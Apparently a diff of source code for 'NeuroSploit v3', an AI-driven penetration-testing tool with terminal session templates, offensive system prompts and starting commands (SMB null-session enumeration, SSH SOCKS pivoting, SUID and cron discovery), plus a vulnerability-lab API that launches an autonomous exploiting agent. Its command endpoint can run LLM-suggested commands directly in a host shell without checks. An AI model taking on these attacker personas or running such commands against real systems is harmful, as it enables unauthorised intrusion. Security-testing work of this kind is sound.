"nmap -sU --top-ports 50 {target}",
|
||||
],
|
||||
},
|
||||
"lateral_movement": {
|
||||
"name": "Lateral Movement",
|
||||
"description": "Pass-the-hash, SMB/WinRM pivoting, and SSH tunneling",
|
||||
"system_prompt": (
|
||||
"You are a lateral movement specialist. You help the operator pivot "
|
||||
"through compromised networks using techniques such as pass-the-hash, "
|
||||
"SMB relay, WinRM sessions, SSH tunneling, and SOCKS proxying. Always "
|
||||
"verify credentials before attempting pivots, suggest cleanup steps, "
|
||||
"and track which hosts have been compromised."
|
||||
),
|
||||
"initial_commands": [
|
||||
"crackmapexec smb {target} -u '' -p ''",
|
||||
"crackmapexec smb {target} --shares -u '' -p ''",
|
||||
"ssh -D 1080 -N -f user@{target}",
|
||||
],
|
||||
},
|
||||
"privilege_escalation": {
|
||||
"name": "Privilege Escalation",
|
||||
"description": "SUID binaries, kernel exploits, cron jobs, and writable paths",
|
||||
"system_prompt": (
|
||||
"You are a privilege escalation expert for Linux and Windows systems. "
|
||||
"Guide the operator through enumeration of SUID/SGID binaries, kernel "
|
||||
"version checks, misconfigured cron jobs, writable PATH directories, "
|
||||
"sudo misconfigurations, and capability abuse. Suggest automated tools "
|
||||
"like linpeas/winpeas when appropriate and explain each finding."
|
||||
),
|
||||
"initial_commands": [
|
||||
"id && whoami && uname -a",
|
||||
"find / -perm -4000 -type f 2>/dev/null",
|
||||
"cat /etc/crontab && ls -la /etc/cron.*",
|
||||
"echo $PATH | tr ':' '\\n' | xargs -I {} ls -ld {}",
|
||||
],
|
||||
},
|
||||
"vpn_recon": {
|
||||
"name": "VPN Reconnaissance",
|
||||
"description": "VPN connection management and internal network discovery",
|
||||
"system_prompt": (
|
||||
"You are a VPN and internal network reconnaissance specialist. You "
|
||||
"help the operator connect to target VPNs, verify tunnel status, "
|
||||
"discover internal subnets, and enumerate services behind the VPN. "
|
||||
"Always confirm connectivity before proceeding with scans and suggest "
|
||||
"appropriate scope for internal reconnaissance."
|
||||
),
|
||||
"initial_commands": [
|
||||
"openvpn --config client.ovpn --daemon",
|
||||
"ip addr show tun0",
|
||||
"ip route | grep tun",
|
||||
"nmap -sn 10.0.0.0/24",
|
||||
],
|
||||
},
|
||||
}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pydantic request / response models
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class CreateSessionRequest(BaseModel):
|
||||
template_id: Optional[str] = None
|
||||
target: Optional[str] = ""
|
||||
name: Optional[str] = ""
|
||||
|
||||
|
||||
class MessageRequest(BaseModel):
|
||||
message: str
|
||||
|
||||
|
||||
class ExecuteCommandRequest(BaseModel):
|
||||
command: str
|
||||
execution_method: str = "sandbox" # "sandbox" or "direct"
|
||||
|
||||
|
||||
class ExploitationStepRequest(BaseModel):
|
||||
description: str
|
||||
command: Optional[str] = ""
|
||||
result: Optional[str] = ""
|
||||
step_type: str = "recon" # recon | exploit | pivot | escalate | action
|
||||
|
||||
|
||||
class SessionSummary(BaseModel):
|
||||
session_id: str
|
||||
name: str
|
||||
target: str
|
||||
template_id: Optional[str]
|
||||
status: str
|
||||
created_at: str
|
||||
messages_count: int
|
||||
commands_count: int
|
||||
|
||||
|
||||
class MessageResponse(BaseModel):
|
||||
role: str
|
||||
response: str
|
||||
timestamp: str
|
||||
suggested_commands: List[str]
|
||||
|
||||
|
||||
class CommandResult(BaseModel):
|
||||
command: str
|
||||
exit_code: int
|
||||
stdout: str
|
||||
stderr: str
|
||||
duration: float
|
||||
execution_method: str
|
||||
timestamp: str
|
||||
|
||||
|
||||
class VPNStatus(BaseModel):
|
||||
connected: bool
|
||||
ip: Optional[str] = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _now_iso() -> str:
|
||||
return datetime.now(timezone.utc).isoformat()
|
||||
|
||||
|
||||
def _build_session(
|
||||
session_id: str,
|
||||
name: str,
|
||||
target: str,
|
||||
template_id: Optional[str],
|
||||
) -> Dict:
|
||||
return {
|
||||
"session_id": session_id,
|
||||
"name": name,
|
||||
"target": target,
|
||||
"template_id": template_id,
|
||||
"status": "active",
|
||||
"created_at": _now_iso(),
|
||||
"messages": [],
|
||||
"command_history": [],
|
||||
"exploitation_path": [],
|
||||
"vpn_status": {"connected": False, "ip": None},
|
||||
}
|
||||
|
||||
|
||||
def _get_session(session_id: str) -> Dict:
|
||||
session = terminal_sessions.get(session_id)
|
||||
if not session:
|
||||
raise HTTPException(status_code=404, detail=f"Session {session_id} not found")
|
||||
return session
|
||||
|
||||
|
||||
def _build_context_string(
|
||||
messages: List[Dict],
|
||||
commands: List[Dict],
|
||||
exploitation: List[Dict],
|
||||
) -> str:
|
||||
parts: List[str] = []
|
||||
|
||||
if messages:
|
||||
parts.append("=== Recent Conversation ===")
|
||||
for msg in messages:
|
||||
role = msg.get("role", "unknown").upper()
|
||||
parts.append(f"[{role}] {msg.get('content', '')}")
|
||||
|
||||
if commands:
|
||||
parts.append("\n=== Recent Command Results ===")
|
||||
for cmd in commands:
|
||||
parts.append(
|
||||
f"$ {cmd['command']}\n"
|
||||
f"Exit code: {cmd['exit_code']}\n"
|
||||
f"Stdout: {cmd['stdout'][:500]}\n"
|
||||
f"Stderr: {cmd['stderr'][:300]}"
|
||||
)
|
||||
|
||||
if exploitation:
|
||||
parts.append("\n=== Exploitation Path ===")
|
||||
for i, step in enumerate(exploitation, 1):
|
||||
parts.append(
|
||||
f"Step {i} [{step['step_type']}]: {step['description']}"
|
||||
)
|
||||
if step.get("command"):
|
||||
parts.append(f" Command: {step['command']}")
|
||||
if step.get("result"):
|
||||
parts.append(f" Result: {step['result'][:300]}")
|
||||
|
||||
return "\n".join(parts)
|
||||
|
||||
|
||||
def _extract_suggested_commands(text: str) -> List[str]:
|
||||
"""Extract commands from backtick-fenced code blocks."""
|
||||
blocks = re.findall(r"```(?:bash|sh|shell)?\n?(.*?)```", text, re.DOTALL)
|
||||
commands: List[str] = []
|
||||
for block in blocks:
|
||||
for line in block.strip().splitlines():
|
||||
stripped = line.strip()
|
||||
if stripped and not stripped.startswith("#"):
|
||||
commands.append(stripped)
|
||||
return commands
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Template endpoints
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.get("/templates")
|
||||
async def list_templates():
|
||||
"""List all available session templates."""
|
||||
result = []
|
||||
for tid, tmpl in TEMPLATES.items():
|
||||
result.append({
|
||||
"id": tid,
|
||||
"name": tmpl["name"],
|
||||
"description": tmpl["description"],
|
||||
"initial_commands": tmpl["initial_commands"],
|
||||
})
|
||||
return result
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Session CRUD
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.post("/session")
|
||||
async def create_session(req: CreateSessionRequest):
|
||||
"""Create a new terminal session, optionally from a template."""
|
||||
session_id = str(uuid.uuid4())
|
||||
target = req.target or ""
|
||||
template_id = req.template_id
|
||||
|
||||
if template_id and template_id not in TEMPLATES:
|
||||
raise HTTPException(status_code=400, detail=f"Unknown template: {template_id}")
|
||||
|
||||
name = req.name or (
|
||||
TEMPLATES[template_id]["name"] if template_id else f"Session {session_id[:8]}"
|
||||
)
|
||||
|
||||
session = _build_session(session_id, name, target, template_id)
|
||||
|
||||
# Seed initial system message from template
|
||||
if template_id:
|
||||
tmpl = TEMPLATES[template_id]
|
||||
session["messages"].append({
|
||||
"role": "system",
|
||||
"content": tmpl["system_prompt"],
|
||||
"timestamp": _now_iso(),
|
||||
"metadata": {"template": template_id},
|
||||
})
|
||||
# Provide initial suggested commands with target interpolated
|
||||
initial_cmds = [
|
||||
cmd.replace("{target}", target) for cmd in tmpl["initial_commands"]
|
||||
]
|
||||
session["messages"].append({
|
||||
"role": "assistant",
|
||||
"content": (
|
||||
f"Session initialised with the **{tmpl['name']}** template.\n\n"
|
||||
f"Target: `{target or '(not set)'}`\n\n"
|
||||
"Suggested starting commands:\n"
|
||||
+ "\n".join(f"```\n{c}\n```" for c in initial_cmds)
|
||||
),
|
||||
"timestamp": _now_iso(),
|
||||
"suggested_commands": initial_cmds,
|
||||
})
|
||||
|
||||
terminal_sessions[session_id] = session
|
||||
return session
|
||||
|
||||
|
||||
@router.get("/sessions")
|
||||
async def list_sessions():
|
||||
"""Return lightweight summaries of every session."""
|
||||
summaries = []
|
||||
for sid, s in terminal_sessions.items():
|
||||
summaries.append(
|
||||
SessionSummary(
|
||||
session_id=sid,
|
||||
name=s["name"],
|
||||
target=s["target"],
|
||||
template_id=s["template_id"],
|
||||
status=s["status"],
|
||||
created_at=s["created_at"],
|
||||
messages_count=len(s["messages"]),
|
||||
commands_count=len(s["command_history"]),
|
||||
).model_dump()
|
||||
)
|
||||
return summaries
|
||||
|
||||
|
||||
@router.get("/sessions/{session_id}")
|
||||
async def get_session(session_id: str):
|
||||
"""Return the full session including messages, commands, and exploitation path."""
|
||||
return _get_session(session_id)
|
||||
|
||||
|
||||
@router.delete("/sessions/{session_id}")
|
||||
async def delete_session(session_id: str):
|
||||
"""Delete a terminal session."""
|
||||
if session_id not in terminal_sessions:
|
||||
raise HTTPException(status_code=404, detail=f"Session {session_id} not found")
|
||||
del terminal_sessions[session_id]
|
||||
return {"status": "deleted", "session_id": session_id}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# AI message interaction
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.post("/sessions/{session_id}/message")
|
||||
async def send_message(session_id: str, req: MessageRequest):
|
||||
"""Send a user prompt to the AI and receive a response with suggested commands."""
|
||||
session = _get_session(session_id)
|
||||
user_message = req.message.strip()
|
||||
if not user_message:
|
||||
raise HTTPException(status_code=400, detail="Message content cannot be empty")
|
||||
|
||||
# Record user message
|
||||
session["messages"].append({
|
||||
"role": "user",
|
||||
"content": user_message,
|
||||
"timestamp": _now_iso(),
|
||||
"metadata": {},
|
||||
})
|
||||
|
||||
# Determine system prompt
|
||||
template_id = session.get("template_id")
|
||||
if template_id and template_id in TEMPLATES:
|
||||
system_prompt = TEMPLATES[template_id]["system_prompt"]
|
||||
else:
|
||||
system_prompt = (
|
||||
"You are an expert infrastructure penetration tester. Help the "
|
||||
"operator plan and execute attacks against the target. Suggest "
|
||||
"concrete commands, explain their purpose, and interpret output. "
|
||||
"Always wrap commands in fenced code blocks so they can be extracted."
|
||||
)
|
||||
|
||||
# Build context window
|
||||
context_messages = session["messages"][-20:]
|
||||
context_cmds = session["command_history"][-10:]
|
||||
exploitation = session["exploitation_path"]
|
||||
context = _build_context_string(context_messages, context_cmds, exploitation)
|
||||
|
||||
# Call LLM
|
||||
try:
|
||||
llm = LLMManager()
|
||||
prompt = f"{context}\n\nUser: {user_message}"
|
||||
response = await llm.generate(prompt, system_prompt)
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=502, detail=f"LLM call failed: {exc}")
|
||||
|
||||
suggested_commands = _extract_suggested_commands(response)
|
||||
|
||||
# Record assistant response
|
||||
session["messages"].append({
|
||||
"role": "assistant",
|
||||
"content": response,
|
||||
"timestamp": _now_iso(),
|
||||
"suggested_commands": suggested_commands,
|
||||
})
|
||||
|
||||
return MessageResponse(
|
||||
role="assistant",
|
||||
response=response,
|
||||
timestamp=session["messages"][-1]["timestamp"],
|
||||
suggested_commands=suggested_commands,
|
||||
).model_dump()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Command execution
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.post("/sessions/{session_id}/execute")
|
||||
async def execute_command(session_id: str, req: ExecuteCommandRequest):
|
||||
"""Execute a command in the Docker sandbox (fallback: direct shell)."""
|
||||
session = _get_session(session_id)
|
||||
command = req.command.strip()
|
||||
if not command:
|
||||
raise HTTPException(status_code=400, detail="Command cannot be empty")
|
||||
|
||||
start = time.time()
|
||||
stdout = ""
|
||||
stderr = ""
|
||||
exit_code = -1
|
||||
execution_method = "direct"
|
||||
|
||||
# Use requested execution method
|
||||
use_sandbox = req.execution_method == "sandbox"
|
||||
|
||||
if use_sandbox:
|
||||
try:
|
||||
sandbox = await get_sandbox()
|
||||
if sandbox and sandbox.is_available:
|
||||
result = await sandbox.execute_raw(command)
|
||||
stdout = result.stdout
|
||||
stderr = result.stderr
|
||||
exit_code = result.exit_code
|
||||
execution_method = "sandbox"
|
||||
except Exception:
|
||||
pass # Fall through to direct execution
|
||||
|
||||
# Fallback or direct execution requested
|
||||
if execution_method != "sandbox":
|
||||
try:
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
command,
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
raw_stdout, raw_stderr = await asyncio.wait_for(
|
||||
proc.communicate(), timeout=120
|
||||
)
|
||||
stdout = raw_stdout.decode(errors="replace")
|
||||
stderr = raw_stderr.decode(errors="replace")
|
||||
exit_code = proc.returncode or 0
|
||||
execution_method = "direct"
|
||||
except asyncio.TimeoutError:
|
||||
stderr = "Command timed out after 120 seconds"
|
||||
exit_code = 124
|
||||
except Exception as exc:
|
||||
stderr = str(exc)
|
||||
exit_code = 1
|
||||
|
||||
duration = round(time.time() - start, 3)
|
||||
|
||||
cmd_record = {
|
||||
"command": command,
|
||||
"exit_code": exit_code,
|
||||
"stdout": stdout,
|
||||
"stderr": stderr,
|
||||
"duration": duration,
|
||||
"execution_method": execution_method,
|
||||
"timestamp": _now_iso(),
|
||||
}
|
||||
session["command_history"].append(cmd_record)
|
||||
|
||||
# Mirror into messages for AI context continuity
|
||||
output_preview = stdout[:2000] if stdout else stderr[:2000]
|
||||
session["messages"].append({
|
||||
"role": "tool",
|
||||
"content": f"$ {command}\n[exit {exit_code}] ({execution_method}, {duration}s)\n{output_preview}",
|
||||
"timestamp": cmd_record["timestamp"],
|
||||
"metadata": {"exit_code": exit_code, "execution_method": execution_method},
|
||||
})
|
||||
|
||||
return CommandResult(**cmd_record).model_dump()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Exploitation path
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.post("/sessions/{session_id}/exploitation-path")
|
||||
async def add_exploitation_step(session_id: str, req: ExploitationStepRequest):
|
||||
"""Add a manual step to the exploitation path timeline."""
|
||||
session = _get_session(session_id)
|
||||
|
||||
valid_types = {"recon", "exploit", "pivot", "escalate", "action"}
|
||||
if req.step_type not in valid_types:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"step_type must be one of {sorted(valid_types)}",
|
||||
)
|
||||
|
||||
step = {
|
||||
"description": req.description,
|
||||
"command": req.command or "",
|
||||
"result": req.result or "",
|
||||
"timestamp": _now_iso(),
|
||||
"step_type": req.step_type,
|
||||
}
|
||||
session["exploitation_path"].append(step)
|
||||
return step
|
||||
|
||||
|
||||
@router.get("/sessions/{session_id}/exploitation-path")
|
||||
async def get_exploitation_path(session_id: str):
|
||||
"""Return the full exploitation path timeline."""
|
||||
session = _get_session(session_id)
|
||||
return session["exploitation_path"]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# VPN status
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@router.get("/sessions/{session_id}/vpn-status")
|
||||
async def get_vpn_status(session_id: str):
|
||||
"""Check OpenVPN process and tun0 interface status."""
|
||||
session = _get_session(session_id)
|
||||
|
||||
connected = False
|
||||
ip_addr: Optional[str] = None
|
||||
|
||||
# Check for running openvpn process
|
||||
try:
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
"pgrep -a openvpn",
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
raw_stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=5)
|
||||
if proc.returncode == 0 and raw_stdout.strip():
|
||||
connected = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Check tun0 interface for IP
|
||||
if connected:
|
||||
try:
|
||||
proc = await asyncio.create_subprocess_shell(
|
||||
"ip addr show tun0",
|
||||
stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE,
|
||||
)
|
||||
raw_stdout, _ = await asyncio.wait_for(proc.communicate(), timeout=5)
|
||||
if proc.returncode == 0:
|
||||
match = re.search(
|
||||
r"inet\s+(\d+\.\d+\.\d+\.\d+)", raw_stdout.decode(errors="replace")
|
||||
)
|
||||
if match:
|
||||
ip_addr = match.group(1)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
vpn = {"connected": connected, "ip": ip_addr}
|
||||
session["vpn_status"] = vpn
|
||||
return VPNStatus(**vpn).model_dump()
|
||||
@@ -0,0 +1,876 @@
|
||||
"""
|
||||
NeuroSploit v3 - Vulnerability Lab API Endpoints
|
||||
|
||||
Isolated vulnerability testing against labs, CTFs, and PortSwigger challenges.
|
||||
Test individual vuln types one at a time and track results.
|
||||
"""
|
||||
from typing import Optional, Dict, List
|
||||
from fastapi import APIRouter, HTTPException, BackgroundTasks
|
||||
from pydantic import BaseModel, Field
|
||||
from datetime import datetime
|
||||
from sqlalchemy import select, func, text
|
||||
|
||||
from backend.core.autonomous_agent import AutonomousAgent, OperationMode
|
||||
from backend.core.vuln_engine.registry import VulnerabilityRegistry
|
||||
from backend.db.database import async_session_factory
|
||||
from backend.models import Scan, Target, Vulnerability, Endpoint, Report, VulnLabChallenge
|
||||
|
||||
# Import agent.py's shared dicts so ScanDetailsPage can find our scans
|
||||
from backend.api.v1.agent import (
|
||||
agent_results, agent_instances, agent_to_scan, scan_to_agent
|
||||
)
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
# In-memory tracking for running lab tests
|
||||
lab_agents: Dict[str, AutonomousAgent] = {}
|
||||
lab_results: Dict[str, Dict] = {}
|
||||
|
||||
|
||||
# --- Request/Response Models ---
|
||||
|
||||
class VulnLabRunRequest(BaseModel):
|
||||
target_url: str = Field(..., description="Target URL to test (lab, CTF, etc.)")
|
||||
vuln_type: str = Field(..., description="Vulnerability type to test (e.g. xss_reflected)")
|
||||
challenge_name: Optional[str] = Field(None, description="Name of the lab/challenge")
|
||||
auth_type: Optional[str] = Field(None, description="Auth type: cookie, bearer, basic, header")
|
||||
auth_value: Optional[str] = Field(None, description="Auth credential value")
|
||||
custom_headers: Optional[Dict[str, str]] = Field(None, description="Custom HTTP headers")
|
||||
notes: Optional[str] = Field(None, description="Notes about this challenge")
|
||||
|
||||
|
||||
class VulnLabResponse(BaseModel):
|
||||
challenge_id: str
|
||||
agent_id: str
|
||||
status: str
|
||||
message: str
|
||||
|
||||
|
||||
class VulnTypeInfo(BaseModel):
|
||||
key: str
|
||||
title: str
|
||||
severity: str
|
||||
cwe_id: str
|
||||
category: str
|
||||
|
||||
|
||||
# --- Vuln type categories for the selector ---
|
||||
|
||||
VULN_CATEGORIES = {
|
||||
"injection": {
|
||||
"label": "Injection",
|
||||
"types": [
|
||||
"xss_reflected", "xss_stored", "xss_dom",
|
||||
"sqli_error", "sqli_union", "sqli_blind", "sqli_time",
|
||||
"command_injection", "ssti", "nosql_injection",
|
||||
]
|
||||
},
|
||||
"advanced_injection": {
|
||||
"label": "Advanced Injection",
|
||||
"types": [
|
||||
"ldap_injection", "xpath_injection", "graphql_injection",
|
||||
"crlf_injection", "header_injection", "email_injection",
|
||||
"el_injection", "log_injection", "html_injection",
|
||||
"csv_injection", "orm_injection",
|
||||
]
|
||||
},
|
||||
"file_access": {
|
||||
"label": "File Access",
|
||||
"types": [
|
||||
"lfi", "rfi", "path_traversal", "xxe", "file_upload",
|
||||
"arbitrary_file_read", "arbitrary_file_delete", "zip_slip",
|
||||
]
|
||||
},
|
||||
"request_forgery": {
|
||||
"label": "Request Forgery",
|
||||
"types": [
|
||||
"ssrf", "csrf", "graphql_introspection", "graphql_dos",
|
||||
]
|
||||
},
|
||||
"authentication": {
|
||||
"label": "Authentication",
|
||||
"types": [
|
||||
"auth_bypass", "jwt_manipulation", "session_fixation",
|
||||
"weak_password", "default_credentials", "two_factor_bypass",
|
||||
"oauth_misconfig",
|
||||
]
|
||||
},
|
||||
"authorization": {
|
||||
"label": "Authorization",
|
||||
"types": [
|
||||
"idor", "bola", "privilege_escalation",
|
||||
"bfla", "mass_assignment", "forced_browsing",
|
||||
]
|
||||
},
|
||||
"client_side": {
|
||||
"label": "Client-Side",
|
||||
"types": [
|
||||
"cors_misconfiguration", "clickjacking", "open_redirect",
|
||||
"dom_clobbering", "postmessage_vuln", "websocket_hijack",
|
||||
"prototype_pollution", "css_injection", "tabnabbing",
|
||||
]
|
||||
},
|
||||
"infrastructure": {
|
||||
"label": "Infrastructure",
|
||||
"types": [
|
||||
"security_headers", "ssl_issues", "http_methods",
|
||||
"directory_listing", "debug_mode", "exposed_admin_panel",
|
||||
"exposed_api_docs", "insecure_cookie_flags",
|
||||
]
|
||||
},
|
||||
"logic": {
|
||||
"label": "Business Logic",
|
||||
"types": [
|
||||
"race_condition", "business_logic", "rate_limit_bypass",
|
||||
"parameter_pollution", "type_juggling", "timing_attack",
|
||||
"host_header_injection", "http_smuggling", "cache_poisoning",
|
||||
]
|
||||
},
|
||||
"data_exposure": {
|
||||
"label": "Data Exposure",
|
||||
"types": [
|
||||
"sensitive_data_exposure", "information_disclosure",
|
||||
"api_key_exposure", "source_code_disclosure",
|
||||
"backup_file_exposure", "version_disclosure",
|
||||
]
|
||||
},
|
||||
"cloud_supply": {
|
||||
"label": "Cloud & Supply Chain",
|
||||
"types": [
|
||||
"s3_bucket_misconfig", "cloud_metadata_exposure",
|
||||
"subdomain_takeover", "vulnerable_dependency",
|
||||
"container_escape", "serverless_misconfiguration",
|
||||
]
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def _get_vuln_category(vuln_type: str) -> str:
|
||||
"""Get category for a vuln type"""
|
||||
for cat_key, cat_info in VULN_CATEGORIES.items():
|
||||
if vuln_type in cat_info["types"]:
|
||||
return cat_key
|
||||
return "other"
|
||||
|
||||
|
||||
# --- Endpoints ---
|
||||
|
||||
@router.get("/types")
|
||||
async def list_vuln_types():
|
||||
"""List all available vulnerability types grouped by category"""
|
||||
registry = VulnerabilityRegistry()
|
||||
result = {}
|
||||
|
||||
for cat_key, cat_info in VULN_CATEGORIES.items():
|
||||
types_list = []
|
||||
for vtype in cat_info["types"]:
|
||||
info = registry.VULNERABILITY_INFO.get(vtype, {})
|
||||
types_list.append({
|
||||
"key": vtype,
|
||||
"title": info.get("title", vtype.replace("_", " ").title()),
|
||||
"severity": info.get("severity", "medium"),
|
||||
"cwe_id": info.get("cwe_id", ""),
|
||||
"description": info.get("description", "")[:120] if info.get("description") else "",
|
||||
})
|
||||
result[cat_key] = {
|
||||
"label": cat_info["label"],
|
||||
"types": types_list,
|
||||
"count": len(types_list),
|
||||
}
|
||||
|
||||
return {"categories": result, "total_types": sum(len(c["types"]) for c in VULN_CATEGORIES.values())}
|
||||
|
||||
|
||||
@router.post("/run", response_model=VulnLabResponse)
|
||||
async def run_vuln_lab(request: VulnLabRunRequest, background_tasks: BackgroundTasks):
|
||||
"""Launch an isolated vulnerability test for a specific vuln type"""
|
||||
import uuid
|
||||
|
||||
# Validate vuln type exists
|
||||
registry = VulnerabilityRegistry()
|
||||
if request.vuln_type not in registry.VULNERABILITY_INFO:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"Unknown vulnerability type: {request.vuln_type}. Use GET /vuln-lab/types for available types."
|
||||
)
|
||||
|
||||
challenge_id = str(uuid.uuid4())
|
||||
agent_id = str(uuid.uuid4())[:8]
|
||||
category = _get_vuln_category(request.vuln_type)
|
||||
|
||||
# Build auth headers
|
||||
auth_headers = {}
|
||||
if request.auth_type and request.auth_value:
|
||||
if request.auth_type == "cookie":
|
||||
auth_headers["Cookie"] = request.auth_value
|
||||
elif request.auth_type == "bearer":
|
||||
auth_headers["Authorization"] = f"Bearer {request.auth_value}"
|
||||
elif request.auth_type == "basic":
|
||||
import base64
|
||||
auth_headers["Authorization"] = f"Basic {base64.b64encode(request.auth_value.encode()).decode()}"
|
||||
elif request.auth_type == "header":
|
||||
if ":" in request.auth_value:
|
||||
name, value = request.auth_value.split(":", 1)
|
||||
auth_headers[name.strip()] = value.strip()
|
||||
|
||||
if request.custom_headers:
|
||||
auth_headers.update(request.custom_headers)
|
||||
|
||||
# Create DB record
|
||||
async with async_session_factory() as db:
|
||||
challenge = VulnLabChallenge(
|
||||
id=challenge_id,
|
||||
target_url=request.target_url,
|
||||
challenge_name=request.challenge_name,
|
||||
vuln_type=request.vuln_type,
|
||||
vuln_category=category,
|
||||
auth_type=request.auth_type,
|
||||
auth_value=request.auth_value,
|
||||
status="running",
|
||||
agent_id=agent_id,
|
||||
started_at=datetime.utcnow(),
|
||||
notes=request.notes,
|
||||
)
|
||||
db.add(challenge)
|
||||
await db.commit()
|
||||
|
||||
# Init in-memory tracking (both local and in agent.py's shared dicts)
|
||||
vuln_info = registry.VULNERABILITY_INFO[request.vuln_type]
|
||||
lab_results[challenge_id] = {
|
||||
"status": "running",
|
||||
"agent_id": agent_id,
|
||||
"vuln_type": request.vuln_type,
|
||||
"target": request.target_url,
|
||||
"progress": 0,
|
||||
"phase": "initializing",
|
||||
"findings": [],
|
||||
"logs": [],
|
||||
}
|
||||
|
||||
# Also register in agent.py's shared results dict so /agent/status works
|
||||
agent_results[agent_id] = {
|
||||
"status": "running",
|
||||
"mode": "full_auto",
|
||||
"started_at": datetime.utcnow().isoformat(),
|
||||
"target": request.target_url,
|
||||
"task": f"VulnLab: {vuln_info.get('title', request.vuln_type)}",
|
||||
"logs": [],
|
||||
"findings": [],
|
||||
"report": None,
|
||||
"progress": 0,
|
||||
"phase": "initializing",
|
||||
}
|
||||
|
||||
# Launch agent in background
|
||||
background_tasks.add_task(
|
||||
_run_lab_test,
|
||||
challenge_id,
|
||||
agent_id,
|
||||
request.target_url,
|
||||
request.vuln_type,
|
||||
vuln_info.get("title", request.vuln_type),
|
||||
auth_headers,
|
||||
request.challenge_name,
|
||||
request.notes,
|
||||
)
|
||||
|
||||
return VulnLabResponse(
|
||||
challenge_id=challenge_id,
|
||||
agent_id=agent_id,
|
||||
status="running",
|
||||
message=f"Testing {vuln_info.get('title', request.vuln_type)} against {request.target_url}"
|
||||
)
|
||||
|
||||
|
||||
async def _run_lab_test(
|
||||
challenge_id: str,
|
||||
agent_id: str,
|
||||
target: str,
|
||||
vuln_type: str,
|
||||
vuln_title: str,
|
||||
auth_headers: Dict,
|
||||
challenge_name: Optional[str] = None,
|
||||
notes: Optional[str] = None,
|
||||
):
|
||||
"""Background task: run the agent focused on a single vuln type"""
|
||||
import asyncio
|
||||
|
||||
logs = []
|
||||
findings_list = []
|
||||
scan_id = None
|
||||
|
||||
async def log_callback(level: str, message: str):
|
||||
source = "llm" if any(tag in message for tag in ["[AI]", "[LLM]", "[USER PROMPT]", "[AI RESPONSE]"]) else "script"
|
||||
entry = {"level": level, "message": message, "time": datetime.utcnow().isoformat(), "source": source}
|
||||
logs.append(entry)
|
||||
# Update local tracking
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["logs"] = logs
|
||||
# Also update agent.py's shared dict so /agent/logs works
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["logs"] = logs
|
||||
|
||||
async def progress_callback(progress: int, phase: str):
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["progress"] = progress
|
||||
lab_results[challenge_id]["phase"] = phase
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["progress"] = progress
|
||||
agent_results[agent_id]["phase"] = phase
|
||||
|
||||
async def finding_callback(finding: Dict):
|
||||
findings_list.append(finding)
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["findings"] = findings_list
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["findings"] = findings_list
|
||||
agent_results[agent_id]["findings_count"] = len(findings_list)
|
||||
|
||||
try:
|
||||
async with async_session_factory() as db:
|
||||
# Create a scan record linked to this challenge
|
||||
scan = Scan(
|
||||
name=f"VulnLab: {vuln_title} - {target[:50]}",
|
||||
status="running",
|
||||
scan_type="full_auto",
|
||||
recon_enabled=True,
|
||||
progress=0,
|
||||
current_phase="initializing",
|
||||
custom_prompt=f"Focus ONLY on testing for {vuln_title} ({vuln_type}). "
|
||||
f"Do NOT test other vulnerability types. "
|
||||
f"Test thoroughly with multiple payloads and techniques for this specific vulnerability.",
|
||||
)
|
||||
db.add(scan)
|
||||
await db.commit()
|
||||
await db.refresh(scan)
|
||||
scan_id = scan.id
|
||||
|
||||
# Create target record
|
||||
target_record = Target(scan_id=scan_id, url=target, status="pending")
|
||||
db.add(target_record)
|
||||
await db.commit()
|
||||
|
||||
# Update challenge with scan_id
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if challenge:
|
||||
challenge.scan_id = scan_id
|
||||
await db.commit()
|
||||
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["scan_id"] = scan_id
|
||||
|
||||
# Register in agent.py's shared mappings so ScanDetailsPage works
|
||||
agent_to_scan[agent_id] = scan_id
|
||||
scan_to_agent[scan_id] = agent_id
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["scan_id"] = scan_id
|
||||
|
||||
# Build focused prompt for isolated testing
|
||||
focused_prompt = (
|
||||
f"You are testing specifically for {vuln_title} ({vuln_type}). "
|
||||
f"Focus ALL your efforts on detecting and exploiting this single vulnerability type. "
|
||||
f"Do NOT scan for other vulnerability types. "
|
